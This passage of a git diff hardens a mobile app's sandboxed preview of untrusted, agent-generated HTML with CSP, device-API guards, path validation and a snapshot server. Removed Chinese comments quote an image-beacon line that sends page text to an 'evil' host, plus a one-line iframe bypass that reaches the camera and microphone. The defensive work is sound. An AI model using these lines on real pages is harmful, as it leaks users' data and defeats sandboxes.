+ return { root: /^[A-Za-z]:$/.test(root) ? `${root}/` : root, entry: path.slice(split + 1) };
+}
+
+export async function collectHtmlSnapshot(
+ entry: string,
+ list: (relPath: string) => Promise<unknown>,
+ signal: AbortSignal,
+): Promise<HtmlSnapshotEntry[]> {
+ const pending = [''];
+ const seen = new Set<string>();
+ const files: HtmlSnapshotEntry[] = [];
+ let bytes = 0;
+ while (pending.length) {
+ assertHtmlSnapshotActive(signal);
+ const rel = pending.pop()!;
+ if (rel.split('/').length > 32) throw new Error('PREVIEW_TOO_LARGE');
+ const entries = await list(rel);
+ assertHtmlSnapshotActive(signal);
+ if (!Array.isArray(entries)) throw new Error('PREVIEW_LIST_FAILED');
+ if (entries.length > HTML_SNAPSHOT_MAX_ENTRIES) throw new Error('PREVIEW_TOO_LARGE');
+ for (const value of entries) {
+ const item = value as HtmlSnapshotEntry | null;
+ if (!item || typeof item.name !== 'string' || !item.name || /[\\/:\0\r\n]/.test(item.name)
+ || item.name === '.' || item.name === '..') throw new Error('PREVIEW_LIST_FAILED');
+ const expected = rel ? `${rel}/${item.name}` : item.name;
+ if (item.relPath !== expected || seen.has(expected)
+ || !Number.isSafeInteger(item.size) || item.size < 0
+ || !['file', 'directory'].includes(item.type)) throw new Error('PREVIEW_LIST_FAILED');
+ seen.add(expected);
+ if (seen.size > HTML_SNAPSHOT_MAX_ENTRIES) throw new Error('PREVIEW_TOO_LARGE');
+ // Publishing policy, independent of the generic file browsing interface.
+ if (item.name.startsWith('.')) continue;
+ if (item.type === 'directory') pending.push(expected);
+ else {
+ bytes += item.size;
+ if (bytes > HTML_SNAPSHOT_MAX_BYTES) throw new Error('PREVIEW_TOO_LARGE');
+ files.push(item);
+ }
+ }
+ }
+ if (!files.some((file) => file.relPath === entry)) throw new Error('NOT_FOUND');
+ return files;
+}
+
+/** Only guarded HTML documents can become the top-level WebView document. */
+export function snapshotDocumentPaths(files: HtmlSnapshotEntry[]): string[] {
+ return files.filter((f) => /\.html?$/i.test(f.relPath)).flatMap((f) => {
+ const path = '/' + f.relPath.split('/').map(encodeURIComponent).join('/');
+ return /(^|\/)index\.html$/.test(f.relPath)
+ ? [path, path.slice(0, -'index.html'.length)] : [path];
+ });
+}
diff --git a/apps/mobile/src/session/htmlNavigationPolicy.ts b/apps/mobile/src/session/htmlNavigationPolicy.ts
index 09e0a91027..9d331096b9 100644
--- a/apps/mobile/src/session/htmlNavigationPolicy.ts
+++ b/apps/mobile/src/session/htmlNavigationPolicy.ts
@@ -61,3 +61,19 @@ export function interceptHtmlNavigation(
if (!documentSettled && (url === '' || url === 'about:blank')) return true;
return false;
}
+
+/** A snapshot may navigate only to its guarded HTML documents on its exact origin. */
+export function interceptSnapshotNavigation(url: string, bootstrap: string, documents: readonly string[], onDemand = false): boolean {
+ try {
+ const target = new URL(url);
+ const initial = new URL(bootstrap);
+ if (target.origin !== initial.origin || target.username || target.password) return false;
+ if (onDemand) {
+ const path = decodeURIComponent(target.pathname).slice(1);
+ if (/[\\:\0\r\n]/.test(path) || path.replace(/\/$/, '').split('/').some((part) => part.startsWith('.'))) return false;
+ return target.pathname === initial.pathname || target.pathname.endsWith('/') || /\.html?$/i.test(path);
+ }
+ return target.pathname === initial.pathname
+ || documents.some((path) => decodeURIComponent(path) === decodeURIComponent(target.pathname));
+ } catch { return false; }
+}
diff --git a/apps/mobile/src/session/htmlPreviewCsp.ts b/apps/mobile/src/session/htmlPreviewCsp.ts
index 047aa12506..0928cf0e85 100644
--- a/apps/mobile/src/session/htmlPreviewCsp.ts
+++ b/apps/mobile/src/session/htmlPreviewCsp.ts
@@ -1,202 +1,7 @@
-/**
- * 给 HTML 预览文档注入内容安全策略(CSP)。
- *
- * 为什么需要:预览的是 agent 产出、可能受提示注入影响的**不可信**文档,而渲染态要保留
- * JavaScript(设计稿的标签切换等交互依赖它)。而 `onShouldStartLoadWithRequest` **只管
- * 导航**,完全不经过子资源请求 —— 一段
- * `new Image().src = 'https://evil/?d=' + encodeURIComponent(document.body.innerText)`
- * 会在用户打开预览的那一刻静默把文档正文发出去,导航回调一无所知(review P1 实捉)。
- *
- * 所以出网必须由**渲染引擎强制**关闭,而不是靠我们在导航回调里约定。这里用 meta CSP
- * 关掉 CSP 管得到的全部出口:子资源、`fetch` / `XHR`、表单、iframe、插件。配套的另一半在
- * HtmlFileReader:顶层导航只放行 `about:`,连用户点击的外链也不外送。
- *
- * 代价(刻意接受,PR 已写明):公网 https 图片 / 字体 / 脚本在预览里**不再加载**。
- * 允许它们就等于留一条 `img-src https:` 的外传通道(`new Image().src='…?d=…'` 正是最经典的
- * 姿势),那会让上面整段封锁形同虚设。
- *
- * ── ⚠️ 残留信道:WebRTC(**不要把本模块说成「零出网」**) ────────────────────
- * `RTCPeerConnection` 的 ICE / STUN / DTLS 流量**不受 CSP 各 `*-src` 指令管辖** —— 恶意脚本
- * 可以把文档内容编码进 STUN 服务器域名,或直接与固定 peer 建数据通道外传,全程不经过导航
- * 回调、也不产生任何 CSP 管辖的 URL 请求(review P1 实捉)。本文件与 HtmlFileReader 早先的
- * 注释把这套封锁描述成绝对的,**那是错的**,已改;守卫用例禁止那类措辞回归。
- *
- * 已做的收窄:
- * - `webrtc 'block'`(CSP3):**实测在任何平台都没有生效,不要把它当成封锁依据**。
- * 早先这里照着 CSP3 spec 推断它在 Chromium 系已落地、于是断言 Android 那一侧被它封住 ——
- * 那个推断**没有实测**,是错的。实机验(Chrome 150.0.7871.187,远高于 spec 标注的版本):
- * 经 `<meta http-equiv>` 与 HTTP `Content-Security-Policy` 响应头**两种下发方式**,
- * 顶层 `new RTCPeerConnection()` 都照常构造成功 —— 该指令在当前引擎里是装饰品。
- * iOS 的 WKWebView(WebKit)本来就不认。**指令保留**(未知/未实现指令被引擎忽略,零副作用,
- * 将来引擎真落地了自动生效),但当前对 WebRTC 的实际封锁**只来自下面那段 guard 删构造函数**,
- * 而 guard 只作用于顶层 realm。守卫用例禁止「那一侧真封住」这类措辞回归。
- * - `mediaCapturePermissionGrantType="deny"`(见 HtmlFileReader):挡掉摄像头 / 麦克风取用,
- * **但只在 iOS 生效** —— Android 的同名 setter 是空函数,详见下面 guard 的注释。
- * 它**不能**关闭 WebRTC 外传 —— 纯数据通道与 STUN 候选收集都不需要媒体权限;这条是
- * 「不可信页面不该弹权限框」本身的正确做法,不要当成 WebRTC 的解。
- *
- * 逐平台、逐 realm 的完整残留见下面 guard 注释里的**实测矩阵**;要完整闭合只有
- * `javaScriptEnabled={false}` 一条路,那会让带交互的产物(标签切换、折叠、图表)退化成静态页
- * —— 属产品取舍,已在 PR 描述里显式提给放行人裁决,本层不擅自决定。
- *
- * 与「同目录资源透传」的关系(见 htmlLocalResources,栈上一层):资源一律以 `data:` URI
- * 内联、页面里不出现任何 bearer 凭证。那条路把被控端的文件内容带进页面,更需要这里的
- * 封锁 —— 但封锁本身属于「在 WebView 里渲染不可信 HTML」这件事,所以留在这一层。
- */
-
-/** 预览文档的策略:默认全拒,只放行内联与 data: 资源,CSP 管得到的出口一律关闭。 */
-export const HTML_PREVIEW_CSP = [
- "default-src 'none'",
- "img-src data:",
- "media-src data:",
- "font-src data:",
- "style-src 'unsafe-inline' data:",
- "script-src 'unsafe-inline' data:",
- "connect-src 'none'",
- "form-action 'none'",
- "base-uri 'none'",
- "frame-src 'none'",
- "object-src 'none'",
- // **实测未生效**(Chrome 150 上 meta 与 HTTP 头两种下发都不拦),留着是等引擎将来实现;
- // 未实现的指令被忽略、不影响其余策略。当前 WebRTC 的实际封锁来自 guard,见头注。
- "webrtc 'block'",
-].join('; ');
-
-const CSP_META = `<meta http-equiv="Content-Security-Policy" content="${HTML_PREVIEW_CSP}">`;
-
-/**
- * 设备与 WebRTC 面的剥离脚本 —— **必须是文档里第一段脚本**。
- *
- * ── 为什么用内联脚本而不是 WebView prop / native patch(review P0) ────────────
- * `mediaCapturePermissionGrantType="deny"` **只在 iOS 生效**:Android 侧
- * `RNCWebViewManager.java` 的 setter 是空函数(已在 node_modules 里核实
- * `setMediaCapturePermissionGrantType(RNCWebViewWrapper view, @Nullable String value) {}`),
- * 权限实际由 `RNCWebChromeClient.onPermissionRequest` 按 **app 级 OS 运行时权限**判定 ——
- * 用户为语音输入 / 拍照附件授过 `RECORD_AUDIO` / `CAMERA` 之后(常见状态),这个"离线沙箱"里
- * 的任意不可信 HTML 都能零提示拿到实时音视频流。react-native-webview 也没有暴露
- * `onPermissionRequest` 之类的回调可供拒绝。
- *
- * 两条备选都不划算:
- * - **patch 原生**(`dependency-patches/[email protected]` 机制已在):改的是
- * Android Java,会变动原生构建 → 触发冷更门,需要把关人对冷更单独确认,代价远大于本修复;
- * - **`injectedJavaScriptBeforeContentLoaded`**:与解析赛跑(Android 靠 `onPageStarted` 触发),
- * 作者脚本可能先跑,是 mitigation 不是 fix。
- *
- * 而这段脚本拼在文档最前面,**由解析器保证先于任何作者脚本执行,没有竞态** —— 与 CSP meta
- * 同一个位置、同一个理由。它把能力面直接删掉,不依赖任何平台的权限实现是否正确。
- *
- * **必须同时盖原型**:只在 `navigator` 上建同名遮蔽属性,只挡住 `navigator.x` 这种写法,
- * 原型方法仍可 `Navigator.prototype.webkitGetUserMedia.call(navigator, ...)` 取出来直接调
- * (review P1 实捉,上一版漏了两个前缀变体)。所以名单 × {实例, 原型} 两处一起盖。
- *
- * 属性用 `writable: false, configurable: false` 定死,重定义会抛。
- *
- * ── ⚠️ 残留:**子 browsing context 拿得到未加固的 realm** ────────────────────
- * 早先这里写过「CSP 的 `frame-src 'none'` / `object-src 'none'` 封掉了 iframe,所以作者拿不到
- * 干净 realm」。**那是错的**(review P1 实捉,已实测确认):`frame-src` 管的是 frame 的**导航**,
- * 而无 `src` 的 iframe 会**同步**得到一个初始 `about:blank` 子上下文 —— 不发生 fetch、CSP 不介入。
- * 实测(headless Chromium)加固页与裸页拿到的绕过路径完全相同:
- * `iframe.contentWindow.RTCPeerConnection` / `.navigator.mediaDevices` 都是原装的。
- *
- * 本脚本现在封掉了**便捷取法**(四类嵌入元素的 `contentWindow` / `contentDocument` 恒 null),
- * 但**封不住索引取法**:`window[0]` / `window.frames[0]` 仍指向子 realm,而
- * `Object.defineProperty(window,'0',…)` 在 WindowProxy 上直接抛
- * `TypeError: Failed to set an indexed property` —— 无法覆写。而且 iframe 根本不需要脚本创建:
- * 不可信 HTML 里直接写一个 `<iframe>`,解析期就有子上下文了。
- *
- * ── 实测残留矩阵(逐格都有依据,别再凭 spec 推) ──────────────────────────────
- * 顶层 realm 由本 guard 覆盖;子 realm 指不可信 HTML 里直接写一个 `<iframe>` 得到的初始
- * `about:blank` 上下文 —— 它**不需要脚本创建**,解析期就在,`window[0]` 即可取到。
- *
- * 能力面 顶层 realm 子 realm(srcless iframe)
- * ─────────────────── ─────────────────── ─────────────────────────────────────
- * fetch / XHR 外传 CSP connect-src **封住** —— about:blank 继承父文档 CSP(实测)
- * mic / camera · iOS guard 删属性 **封住** —— 原生 mediaCapturePermissionGrantType
- * ="deny" 在原生层判定,不分 realm
- * mic / camera · Andr guard 删属性 **可达** —— setter 是空函数,实际由
- * RNCWebChromeClient.onPermissionRequest 判 app 级
- * OS 权限;已授权则**同步 grant、零提示**
- * WebRTC 外传 · 两端 guard 删构造函数 **可达** —— webrtc 'block' 实测无效(见上),
- * CSP 各 *-src 管不到 ICE/STUN/DTLS
- *
- * **结论(如实记录,不要再声称已封死)**:只要 JavaScript 开着,文档层就无法保证「设备能力
- * 与 WebRTC 对不可信 HTML 完全不可达」—— 上表右列那两个「可达」格子,是**一行代码可达**,
- * 不是理论残留:`<iframe></iframe><script>window[0].navigator.mediaDevices.getUserMedia(…)</script>`。
- * 要完整闭合只有两条路,都属产品/发布层决定:
- * 1. `javaScriptEnabled={false}` —— 没有作者脚本,右列**整列**随之消失(带交互的产物退化成静态页);
- * 2. 在原生权限层统一 deny —— 能补上 Android 的 mic/camera 那一格(原生层不分 realm),但
- * **补不上 WebRTC 那一格**(两端都无对应原生开关),而且改 Android Java 会变动原生构建 →
- * 触发冷更门,需把关人针对冷更单独确认。
- * 已在 PR 描述里列成待裁决项。
- *
- * **这不改变「预览保留 JavaScript」这个已定的产品取舍** —— 脚本照旧执行,顶层没有摄像头、
- * 麦克风与 WebRTC 三样能力;上表是这个取舍的完整代价,交给放行人看。
- *
- * ⚠️ 脚本文本里**不得出现 `</script>`**,否则会提前闭合(这里没有,用例钉住)。
- */
-const DEVICE_SURFACE_GUARD = '<script>(function(){'
- + 'var freeze=function(o,k){try{Object.defineProperty(o,k,'
- + '{value:undefined,writable:false,configurable:false});}catch(e){}};'
- // **每个名字都盖「实例 + 原型」两处** —— 写成一个 both() 而不是逐条列举,是因为上一版
- // 只给 mediaDevices / getUserMedia 盖了原型、漏了两个前缀变体,于是
- // `Navigator.prototype.webkitGetUserMedia.call(navigator, ...)` 能绕过守卫(review P1 实捉)。
- // 遮蔽实例属性只挡住 `navigator.x` 这一种写法,原型方法照旧可以 .call 出来。
- // 用一份名单 × 两个目标,漏一边在结构上就不可能了 —— 以后加名字也不会再漏。
- + 'var both=function(k){freeze(navigator,k);'
- + 'try{freeze(Navigator.prototype,k);}catch(e){}};'
- + 'try{'
- + "['mediaDevices','getUserMedia','webkitGetUserMedia','mozGetUserMedia']"
- + '.forEach(both);'
- + "['RTCPeerConnection','webkitRTCPeerConnection','RTCDataChannel']"
- + '.forEach(function(k){freeze(window,k);});'
- // 兜底一层:MediaDevices 实例本应取不到(上面已盖两处),但若某引擎另有取法,
- // 把原型方法也盖掉,代价一行。
- + "if(typeof MediaDevices!=='undefined'&&MediaDevices.prototype)"
- + "{freeze(MediaDevices.prototype,'getUserMedia');}"
- // 子 browsing context 的**便捷取法**一并封掉(review P1):无 src 的 iframe 会同步得到一个
- // 未加固的初始 about:blank realm,`iframe.contentWindow.RTCPeerConnection` 就绕过了上面
- // 全部冻结。这里把四类嵌入元素的 contentWindow / contentDocument 取值器改成恒 null。
- // ⚠️ 这**不是完整封锁**,残留见头注「子 realm」一节 —— `window[0]` 挡不住。
- + "['HTMLIFrameElement','HTMLFrameElement','HTMLObjectElement','HTMLEmbedElement']"
- + '.forEach(function(n){try{var C=window[n];if(C&&C.prototype){'
- + "['contentWindow','contentDocument'].forEach(function(k){"
- + 'try{Object.defineProperty(C.prototype,k,'
- + '{get:function(){return null;},configurable:false});}catch(e){}});'
- + '}}catch(e){}});'
- + '}catch(e){}})();</scr' + 'ipt>';
-
-/** 我们自己的前导段:标准模式 + 策略 + 能力剥离,一次性拼在最前面。 */
-const CSP_PROLOG = `<!doctype html>${CSP_META}${DEVICE_SURFACE_GUARD}`;
-
-/**
- * 给文档加上 CSP。**不去定位作者写在哪的 doctype —— 自己前置一个。**
- *
- * ── 为什么改成这样(root cause,别再"优化"回定位方案) ──────────────────────
- * 原实现试图找到作者的 doctype、把 meta 插在它后面(为了不让文档掉进 quirks mode)。
- * 那条路要求我们**用手写扫描去解析 HTML 前导段**,而前导段能出现的 token 是开放集合:
- * 空白、BOM、`<!-- -->`、`<?xml ?>` / `<?php ?>` 等处理指令、CDATA…… review 因此连挖三轮
- * (紧贴开头 → 前导注释 → 处理指令),每补一个 token 就还剩下一个。这不是边界没修够,
- * 是**方法错**:定位作者 doctype 需要真正的 HTML 前导解析器,不该在业务代码里手写。
- *
- * 现在把问题消掉而不是解决它:**总是自己前置 `<!doctype html>` + CSP meta**,原文整份跟在
- * 后面一字不动。于是「插在哪」不存在,上面那一整类 token 也不需要认识:
- * - 原文自带 doctype → 解析器先见我们的、已进标准模式;原文那个按 HTML 规范在
- * "in body" 插入模式被忽略(parse error, ignore the token),无副作用;
- * - 原文以 `<?xml ?>` / `<?php ?>` / 注释 / CDATA 开头 → 它们照旧变 bogus comment,
- * 与不加策略时的解析结果一致;
- * - 策略仍在**任何作者内容之前**生效 —— 这是 meta CSP 唯一安全的位置(见下)。
- * 唯一需要单独处理的是 BOM:必须前移到我们的前导段之前,否则会变成文档中间的游离字符。
- *
- * ⚠️ 仍然**刻意不去找 `<head>`**(review P1,两个 bot 各报过一次):找 `<head>` 的正则会
- * 命中注释里的假标签(`<!-- <head> -->`),CSP 被插进注释、策略整份失效;即使命中真的
- * `<head>`,它**之前**的内容(浏览器会照常执行前置 `<script>`)仍在策略生效前跑。
- *
- * 已知代价(刻意接受):**原本没有 doctype、依赖 quirks mode 排版的产物会变成标准模式。**
- * agent 生成的 HTML 基本都自带 `<!doctype html>`;而 quirks 模式的排版差异远小于「策略没生效」
- * 或「整份掉进 quirks」这两种旧失败模式。
- */
-export function withHtmlPreviewCsp(html: string): string {
- // BOM 前移:它必须留在文档最前面,否则会成为游离字符。
- if (html.charCodeAt(0) === 0xfeff) return `\uFEFF${CSP_PROLOG}${html.slice(1)}`;
- return `${CSP_PROLOG}${html}`;
-}
+// Both clients use the same policy and parser-first device-surface guard.
+export {
+ HTML_PREVIEW_CSP,
+ HTML_SNAPSHOT_CSP,
+ withHtmlPreviewCsp,
+ withSnapshotHtmlCsp,
+} from "@cindy/maker-shared/file-preview";
diff --git a/apps/mobile/src/session/mobileHtmlPreview.ts b/apps/mobile/src/session/mobileHtmlPreview.ts
new file mode 100644
index 0000000000..b6d076112d
--- /dev/null
+++ b/apps/mobile/src/session/mobileHtmlPreview.ts
@@ -0,0 +1,254 @@
+import { createFileReadQueue, FILE_PEER_MAX_BYTES } from '@cindy/device-link';
+import { releasePeerMedia } from '@/device-link/peerFileRegistry';
+import { Directory, File, Paths } from 'expo-file-system';
+import { createDownloadResumable } from 'expo-file-system/legacy';
+import { getRandomBytes } from 'expo-crypto';
+import native from '../../modules/cindy-html-preview/src/CindyHtmlPreviewModule';
+import type { MobileMakerTransport } from '@/device-link/mobileMakerTransport';
+import { withTransientRemoteRetry } from '@/device-link/remoteRetry';
+import { assertHtmlSnapshotActive, collectHtmlSnapshot, htmlSnapshotLocation, HTML_SNAPSHOT_MAX_ENTRIES, snapshotDocumentPaths } from './htmlDirectorySnapshot';
+import { HTML_SNAPSHOT_CSP, withSnapshotHtmlCsp } from './htmlPreviewCsp';
+import { fetchRemoteAbsFileOnce, type RemoteAbsFileFetchDeps } from './remoteAbsFileFetch';
+import type { RemoteMediaSshContext } from './fileBrowserGallery';
+
+export interface MobileHtmlPreview {
+ url: string;
+ documents: string[];
+ onDemand?: boolean;
+ close(): Promise<void>;
+}
+export type PrepareMobileHtmlPreview = (absPath: string, signal: AbortSignal) => Promise<MobileHtmlPreview>;
+
+const MIME: Record<string, string> = {
+ html: 'text/html', htm: 'text/html', css: 'text/css', js: 'text/javascript', mjs: 'text/javascript',
+ json: 'application/json', wasm: 'application/wasm', svg: 'image/svg+xml', png: 'image/png',
+ jpg: 'image/jpeg', jpeg: 'image/jpeg', gif: 'image/gif', webp: 'image/webp', ico: 'image/x-icon',
+ woff: 'font/woff', woff2: 'font/woff2', ttf: 'font/ttf', otf: 'font/otf',
+ mp4: 'video/mp4', webm: 'video/webm', mp3: 'audio/mpeg', wav: 'audio/wav', txt: 'text/plain',
+};
+
+let sweptPreviousProcess = false;
+function sweepInterruptedSnapshots() {
+ if (sweptPreviousProcess) return;
+ sweptPreviousProcess = true;
+ const parent = new Directory(Paths.cache, 'html-previews');
+ if (!parent.exists) return;
+ // These random-name directories belong solely to this feature. Never sweep general app caches.
+ for (const child of parent.list()) {
+ if (child instanceof Directory && /^[a-f0-9]{48}$/.test(child.name)) {
+ try { child.delete(); } catch { /* A later OS cache eviction can reclaim it. */ }
+ }
+ }
+}
+
+/** Source identity stays in the transport; no device credentials enter the snapshot. */
+export async function prepareMobileHtmlPreview(absPath: string, deps: RemoteAbsFileFetchDeps & {
+ maker: MobileMakerTransport;
+ ssh?: RemoteMediaSshContext | null;
+ deleteOssObject(key: string): void;
+}, signal: AbortSignal): Promise<MobileHtmlPreview> {
+ if (!native) throw new Error('HTML_PREVIEW_NATIVE_UNAVAILABLE');
+ if (native.startOnDemand && native.resolveRequest) return prepareOnDemand(absPath, deps, signal);
+ const server = native;
+ assertHtmlSnapshotActive(signal);
+ const { root, entry } = htmlSnapshotLocation(absPath);
+ // SSH enumeration must keep the original session workdir so the desktop resolves the SSH endpoint.
+ const listingRoot = deps.ssh?.workdir ?? root;
+ const prefix = deps.ssh ? root.slice(listingRoot.replace(/\/$/, '').length).replace(/^\//, '') : '';
+ if (deps.ssh && root !== listingRoot && !root.startsWith(listingRoot.replace(/\/$/, '') + '/')) throw new Error('OUTSIDE_WORKDIR');
+ const caps = await withTransientRemoteRetry(async () => {
+ await deps.openLink(deps.deviceId);
+ return deps.maker.fileBrowser.caps(listingRoot);
+ });
+ if (!caps.ok || caps.completeDirectoryListing !== true) throw new Error('COMPLETE_DIRECTORY_LISTING_UNSUPPORTED');
+ const files = await collectHtmlSnapshot(entry, async (rel) => {
+ const path = [prefix, rel].filter(Boolean).join('/');
+ const result = await withTransientRemoteRetry(async () => {
+ assertHtmlSnapshotActive(signal);
+ await deps.openLink(deps.deviceId);
+ return deps.maker.fileBrowser.listDir(listingRoot, path, { includeIgnored: true, maxEntries: HTML_SNAPSHOT_MAX_ENTRIES });
+ });
+ if (!prefix || !Array.isArray(result)) return result;
+ return result.map((item: unknown) => {
+ if (!item || typeof item !== 'object' || !('relPath' in item) || typeof item.relPath !== 'string'
+ || !item.relPath.startsWith(prefix + '/')) throw new Error('PREVIEW_LIST_FAILED');
+ return { ...item, relPath: item.relPath.slice(prefix.length + 1) };
+ });
+ }, signal);
+ assertHtmlSnapshotActive(signal);
+ sweepInterruptedSnapshots();
+ const token = Array.from(getRandomBytes(24), (n) => n.toString(16).padStart(2, '0')).join('');
+ const dir = new Directory(Paths.cache, 'html-previews', token);
+ dir.create({ intermediates: true });
+ let closed = false;
+ const close = async () => {
+ if (closed) return;
+ closed = true;
+ try { await server.stop(token); } finally { try { dir.delete(); } catch { /* OS cache reclamation is the fallback. */ } }
+ };
+ try {
+ const manifest: string[][] = [];
+ for (const [index, file] of files.entries()) {
+ assertHtmlSnapshotActive(signal);
+ const uploaded = new Set<string>();
+ const destination = new File(dir, String(index));
+ try {
+ const media = await fetchRemoteAbsFileOnce(deps, root.replace(/\/$/, '') + '/' + file.relPath, deps.ssh,
+ (key) => uploaded.add(key), { baseDir: root, maxBytes: Math.max(1, file.size) }, signal);
+ assertHtmlSnapshotActive(signal);
+ if (media.size !== file.size) throw new Error('PREVIEW_CHANGED');
+ if (media.inlineBase64 !== undefined) {
+ destination.create();
+ destination.write(Uint8Array.from(atob(media.inlineBase64), (char) => char.charCodeAt(0)));
+ if (destination.size !== file.size) throw new Error('PREVIEW_CHANGED');
+ } else if (media.url.startsWith('file://')) {
+ try { new File(media.url).copy(destination); } finally { releasePeerMedia(media.url); }
+ if (destination.size !== file.size) throw new Error('PREVIEW_CHANGED');
+ } else {
+ let exceeded = false;
+ const download = createDownloadResumable(media.url, destination.uri, {}, (progress) => {
+ if (progress.totalBytesWritten > file.size) { exceeded = true; void download.pauseAsync().catch(() => {}); }
+ });
+ const abort = () => { void download.pauseAsync().catch(() => {}); };
+ signal.addEventListener('abort', abort, { once: true });
+ try {
+ assertHtmlSnapshotActive(signal);
+ const result = await download.downloadAsync();
+ assertHtmlSnapshotActive(signal);
+ if (!result || result.status !== 200 || exceeded || destination.size !== file.size) throw new Error('PREVIEW_CHANGED');
+ } finally { signal.removeEventListener('abort', abort); }
+ }
+ const mime = MIME[file.relPath.split('.').pop()!.toLowerCase()] ?? 'application/octet-stream';
+ if (mime === 'text/html') {
+ // Reject invalid UTF-8 instead of publishing a corrupted page. No source text is truncated.
+ const text = new TextDecoder('utf-8', { fatal: true }).decode(await destination.bytes());
+ destination.write(withSnapshotHtmlCsp(text));
+ }
+ manifest.push([file.relPath, String(index), mime]);
+ } finally { for (const key of uploaded) deps.deleteOssObject(key); }
+ }
+ assertHtmlSnapshotActive(signal);
+ const url = await server.start(decodeURIComponent(dir.uri.replace(/^file:\/\//, '')), entry, token, HTML_SNAPSHOT_CSP, manifest);
+ assertHtmlSnapshotActive(signal);
+ return { url, documents: snapshotDocumentPaths(files), close };
+ } catch (error) { await close(); throw error; }
+}
+
+/** New native binaries fetch each requested resource; older binaries retain their existing snapshot API. */
+async function prepareOnDemand(absPath: string, deps: RemoteAbsFileFetchDeps & {
+ maker: MobileMakerTransport;
+ ssh?: RemoteMediaSshContext | null;
+ deleteOssObject(key: string): void;
+}, signal: AbortSignal): Promise<MobileHtmlPreview> {
+ const server = native!;
+ assertHtmlSnapshotActive(signal);
+ const { root, entry } = htmlSnapshotLocation(absPath);
+ const workdir = deps.ssh?.workdir.replace(/\/$/, '');
+ if (workdir && root !== workdir && !root.startsWith(workdir + '/')) throw new Error('OUTSIDE_WORKDIR');
+ sweepInterruptedSnapshots();
+ const token = Array.from(getRandomBytes(24), (n) => n.toString(16).padStart(2, '0')).join('');
+ const dir = new Directory(Paths.cache, 'html-previews', token);
+ dir.create({ intermediates: true });
+ let closed = false;
+ let sequence = 0;
+ const requests = new Map<string, AbortController>();
+ const pending = new Set<Promise<void>>();
+ const materialized = new Map<string, { filename: string; mime: string }>();
+ const queue = createFileReadQueue();
+ const requestListener = server.addListener('resourceRequest', (event) => {
+ if (event.token !== token || closed || requests.has(event.id)) return;
+ const controller = new AbortController();
+ requests.set(event.id, controller);
+ const work = queue('preview', async () => {
+ let destination: File | undefined;
+ let accepted = false;
+ const uploaded = new Set<string>();
+ try {
+ assertHtmlSnapshotActive(controller.signal);
+ const relative = event.path;
+ if (!relative || /[\\:\0\r\n]/.test(relative) || relative.split('/').some((part) => !part || part.startsWith('.')))
+ throw new Error('NOT_FOUND');
+ const reused = materialized.get(relative);
+ if (reused) {
+ accepted = await server.resolveRequest!(token, event.id, reused.filename, reused.mime, 200);
+ return;
+ }
+ const filename = String(sequence++);
+ destination = new File(dir, filename);
+ const media = await fetchRemoteAbsFileOnce(deps, root.replace(/\/$/, '') + '/' + relative, deps.ssh,
+ (key) => uploaded.add(key), { baseDir: root, maxBytes: FILE_PEER_MAX_BYTES }, controller.signal);
+ assertHtmlSnapshotActive(controller.signal);
+ if (!(Paths.availableDiskSpace >= media.size + 256 * 1024 * 1024)) {
+ if (media.url.startsWith('file://')) releasePeerMedia(media.url);
+ throw new Error('PREVIEW_DISK_FULL');
+ }
+ if (media.inlineBase64 !== undefined) {
+ destination.create();
+ destination.write(Uint8Array.from(atob(media.inlineBase64), (char) => char.charCodeAt(0)));
+ } else if (media.url.startsWith('file://')) {
+ try { new File(media.url).copy(destination); } finally { releasePeerMedia(media.url); }
+ } else {
+ let exceeded = false;
+ const download = createDownloadResumable(media.url, destination.uri, {}, (progress) => {
+ if (progress.totalBytesWritten > media.size) { exceeded = true; void download.pauseAsync().catch(() => {}); }
+ });
+ const abort = () => { void download.pauseAsync().catch(() => {}); };
+ controller.signal.addEventListener('abort', abort, { once: true });
+ try {
+ assertHtmlSnapshotActive(controller.signal);
+ const result = await download.downloadAsync();
+ if (!result || result.status !== 200 || exceeded) throw new Error('PREVIEW_CHANGED');
+ } finally { controller.signal.removeEventListener('abort', abort); }
+ }
+ assertHtmlSnapshotActive(controller.signal);
+ if (destination.size !== media.size) throw new Error('PREVIEW_CHANGED');
+ const mime = MIME[relative.split('.').pop()!.toLowerCase()] ?? 'application/octet-stream';
+ if (mime === 'text/html') {
+ const html = new TextDecoder('utf-8', { fatal: true }).decode(await destination.bytes());
+ destination.write(withSnapshotHtmlCsp(html));
+ }
+ assertHtmlSnapshotActive(controller.signal);
+ accepted = await server.resolveRequest!(token, event.id, filename, mime, 200);
+ if (accepted) materialized.set(relative, { filename, mime });
+ } catch (error) {
+ if (!closed && !controller.signal.aborted) {
+ const message = error instanceof Error ? error.message : '';
+ await server.resolveRequest!(token, event.id, '', '', /NOT_FOUND|ENOENT/.test(message) ? 404 : 502);
+ }
+ } finally {
+ for (const key of uploaded) deps.deleteOssObject(key);
+ // Accepted files belong to the native response and are deleted when its socket closes.
+ if (!accepted && destination) { try { destination.delete(); } catch {} }
+ }
+ }, controller.signal);
+ pending.add(work);
+ void work.catch(() => {}).finally(() => { pending.delete(work); requests.delete(event.id); });
+ });
+ const closedListener = server.addListener('resourceClosed', (event) => {
+ if (event.token === token) requests.get(event.id)?.abort();
+ });
+ const close = async () => {
+ if (closed) return;
+ closed = true;
+ signal.removeEventListener('abort', abort);
+ requestListener.remove();
+ closedListener.remove();
+ for (const request of requests.values()) request.abort();
+ try { await server.stop(token); } finally {
+ // Downloads may settle after an abort. Let their owner finish cleanup before removing the directory.
+ await Promise.allSettled([...pending]);
+ try { dir.delete(); } catch {}
+ }
+ };
+ const abort = () => { void close().catch(() => {}); };
+ signal.addEventListener('abort', abort, { once: true });
+ try {
+ assertHtmlSnapshotActive(signal);
+ const url = await server.startOnDemand!(decodeURIComponent(dir.uri.replace(/^file:\/\//, '')), entry, token, HTML_SNAPSHOT_CSP);
+ if (closed || signal.aborted) {
+ await server.stop(token);
+ throw new Error('PREVIEW_CANCELLED');
+ }
+ return { url, documents: ['/' + entry.split('/').map(encodeURIComponent).join('/')], onDemand: true, close };
+ } catch (error) { await close(); throw error; }
+}
diff --git a/apps/mobile/src/session/remoteAbsFileFetch.ts b/apps/mobile/src/session/remoteAbsFileFetch.ts
index a7d711e903..a753e3adcc 100644
--- a/apps/mobile/src/session/remoteAbsFileFetch.ts
+++ b/apps/mobile/src/session/remoteAbsFileFetch.ts
@@ -38,6 +38,7 @@ import {
} from '@/session/remoteMedia';
export interface RemoteAbsFileFetchDeps {
+ stream?: boolean;
maker: Pick<MobileMakerTransport, 'fetchRemoteMedia'>;
deviceId: string;
openLink: (deviceId: string) => Promise<unknown>;
